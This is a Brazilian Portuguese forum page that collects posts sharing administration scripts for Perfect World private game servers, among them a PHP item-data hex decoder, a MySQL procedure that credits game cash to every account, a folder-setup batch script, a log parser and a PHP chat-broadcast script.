$decoder->sethexString('5a00ff001001000031000000b4610000786900002c00040a4200720075006300650000000000090000000b00000000000000930200009b0500000000000000000000180000000000604000000000010000000000000003000000114500009200000001000000f02300004d000000cf2500000e000000'); $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level": 90, "class": 255, "strength": 272, "vitality": 0, "dexterity": 49, "magic": 0, "min_durability": 250, "max_durability": 270, "item_type": 44, "item_flag": 4, "name_length": 10, "name": "Bruce", "ranged_type": 0, "weapon_type": 9, "weapon_grade": 11, "ammunition_type": 0, "min_physical_damage": 659, "max_physical_damage": 1435, "min_magic_damage": 0, "max_magic_damage": 0, "attack_rate": 0.83, "attack_range": 3.5, "minimum_range": 0, "sockets_count": 1, "sockets": [ 0 ], "addons_count": 3, "addons": { "special_addons": [ { "id": 1297, "value": 146, "level": 1 } ], "normal_addons": [ { "id": 1008, "value": 77 }, { "id": 1487, "value": 14 } ], "refine_addons": [ ], "socket_addons": [ ] } } O projeto está disponível no Github e também é possível instalar via composer: Ele não está 100% finalizado ainda, mas já da pra utilizar em algum projeto de seu interesse. :) Hex Data Guide v2T2.pdf Hex Code Guide By Drakaer.pdf
    1 ponto
  21. "Importante: Quero ressaltar que todo conhecimento e métodos compartilhados aqui são apenas para uso pessoal. Eu não me responsabilizo por danos, prejuízos ou mau uso das informações fornecidas. O conhecimento é uma poderosa ferramenta que deve ser usada com responsabilidade. Cabe a cada um de nós garantir que aplicamos esse conhecimento de forma adequada, respeitando as leis, ética e diretrizes aplicáveis. Assim como qualquer outra fonte de informações, é fundamental verificar a veracidade e precisão dos conteúdos antes de utilizá-los. Recomendo sempre consultar fontes confiáveis e buscar orientação profissional quando necessário. Lembre-se de que cada um é responsável por suas próprias ações e decisões. Utilize o conhecimento adquirido de forma consciente e cuidadosa, levando em consideração as possíveis consequências. Estou aqui para fornecer informações e auxiliar no que for possível, mas não posso ser responsabilizado por qualquer dano ou prejuízo decorrente do uso indevido ou interpretação incorreta das informações compartilhadas. Aproveite o conhecimento de forma responsável e continue aprendendo! USE pw; -- Seleciona o banco de dados "pw" DELIMITER // DROP PROCEDURE IF EXISTS usecash_loop // CREATE PROCEDURE usecash_loop() BEGIN DECLARE done INT DEFAULT FALSE; DECLARE id_value INT; DECLARE cur CURSOR FOR SELECT ID FROM users; DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE; OPEN cur; read_loop: LOOP FETCH cur INTO id_value; IF done THEN LEAVE read_loop; END IF; CALL usecash(id_value, 1, 0, 9, 0, 1000000, 1, @error); END LOOP; CLOSE cur; END // DELIMITER ; CALL usecash_loop();
    1 ponto
  22. Não sei como a galera faz pra organizar uma atualização de servidor. Comecei a me deparar com esse problema quando a atualização era mto grande e eu acabava esquecendo de colocar alguma coisa. Tive a brilhante ideia de deixar todas as pastas criadas, e conforme eu fosse atualizando(no servidor de testes), eu ia jogando pra suas respectivas pastas, porém, toda vez que eu fazia uma atualização, tinha que sair excluindo as coisas dessa pasta pra poder começar uma nova atualização. Então criei um arquivo script(.bat) pra automatizar esse processo, e tornar minha vida mais fácil. Não sei se tem um jeito mais fácil de fazer, mas pra quem tiver começando nesse troço foi o modo mais simples que achei Como usar: Depois de baixar, basta colocar o script(.bat) no local que vc quer criar as pastas de atualização que ele já vai estar pronto para usar. Como ele funciona: Ao ser executado pela primeira vez ele só vai criar as pastas de atualização Quando ele é executado e a pasta já existe • Ele cria um backup compactado(opcional, só comentar uma linha no script(.bat) em .rar • Apaga a pasta da atualização • Cria novamente as pastas de atualização A pasta Cliente é pra jogar no /CPW/files/new A pasta Servidor é para jogar na pasta PWServer / home Caso queira mudar o icone dele: : Crie um atalho do script(.bat) : Renomeie o novo atalho para o nome que quiser : Clique com o botão direito do mouse no atalho e depois clique em Propriedade Depois que fizer isso, se quiser ficar vendo só o atalho(com o icone novo), basta ocultar o script(.bat) original: Caso queira abrir o script(.bat), pra alterar alguma coisa, basta clicar com o botão direito do mouse no arquivo original e clicar em Editar. Script(.bat): Gerar Atualização.bat
    1 ponto
  23. Desenvolvi esse sistema de logs nos últimos dias e acho que ele pode ser útil para mais alguém. :) Ele lê os arquivos world2.* e gera logs legíveis em json, o que permite até usa-lo como base para algum outro projeto. Um diferêncial que eu estou testando nele é a ideia de separar os logs em pastas de personagem, cada personagem dentro do jogo terá seus logs salvos em uma pasta com seu ID. Eu ainda estou trabalhando nele e o projeto está disponível no github caso alguém queira contribuir ou ver o código antes de baixar. Download Instalação: Dentro da pasta do pwlogify, rode o comando composer install (Se ainda não tiver ele instalado: apt-get install composer) Abra o arquivo start_pwlogify.sh e configure a variável script_path de acordo com o caminho que você colocou o projeto. Abra também o arquivo world2_listener.sh na pasta scripts e configure a variável server_path se necessário. No diretório raiz do projeto, rode o seguinte comando: chmod +x start_pwlogify.sh stop_pwlogify.sh scripts/world2_listener.sh. Execute ./start_pwlogify.sh ou ./stop_pwlogify.sh para iniciar/parar o script. Obs: eu desenvolvi ele usando como base a versão 152. Exemplos dos logs gerados:
    1 ponto
  24. Esse sistema foi feito pelo Leo B2host é só criar um cron em php e seja feliz. <?php /** ** Programado por Leandro Hermes - [Conteúdo Oculto] **/ $config = array ( // Configs 'host' => '127.0.0.1', // Host 'port' => '29300', // Port // Chat ID: [0] - Common; [1] - World; [2] - Group; [3] - Faction; // Chat ID: [4] - Private; [6] - Info; [7] - TRADE; [9] - System; [10]- NoChat; [12] - Horn 'chatid1' => '9', // Chat ID #1 // Role ID in Message to Chat 'roleid1' => '', // Role ID #1 | You can empty ID | ID -1 = : // Message to Chat 'message1' => "mensagem que sera falado no chat GM" , // Message #1 | No Message - Do not go ); function socketsend($data, $ip,$port) { if(!@$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) {throw new Exception("Erro ao conectar no servidor do pw"); exit();} socket_connect($sock,$ip,$port); socket_set_block($sock); socket_send($sock, $data, 8192, 0); socket_recv($sock, $buf, 8192, 0); socket_set_nonblock($sock); socket_close($sock); return $buf; } function cuint($data) { if($data < 64) return strrev(pack("C", $data)); else if($data < 16384) return strrev(pack("S", ($data | 0x8000))); else if($data < 536870912) return strrev(pack("I", ($data | 0xC0000000))); return strrev(pack("c", -32) . pack("i", $data)); } function PackString($data) { $data = iconv("UTF-8", "UTF-16LE", $data); return cuint(strlen($data)).$data; } function PackOctet($data) { $data = pack("H*", $data); return cuint(strlen($data)).$data; } function gameChat($user,$msg,$chan,$host,$port) { $System = pack("C*",$chan); $Emotion = pack("C*",0); $Char = pack("N*",$user); $Message = PackString($msg); $data = PackOctet(''); $Packet = $System.$Emotion.$Char.$Message.$data; $Data = cuint(120).cuint(strlen($Packet)).$Packet; socketsend($Data, $host,$port); } // comment out what you dont use gameChat($config['roleid1'],$config['message1'],$config['chatid1'],$config['host'], $config['port']); ?> avisoBroadcast-unico.php
    1 ponto

Suporte GM

Comunidade de Perfect World do Brasil

Copyright © 2023-2024 SuporteGM Powered by Invision Community
Поддержка Invision Community в России

Links

×
×
  • Criar Novo...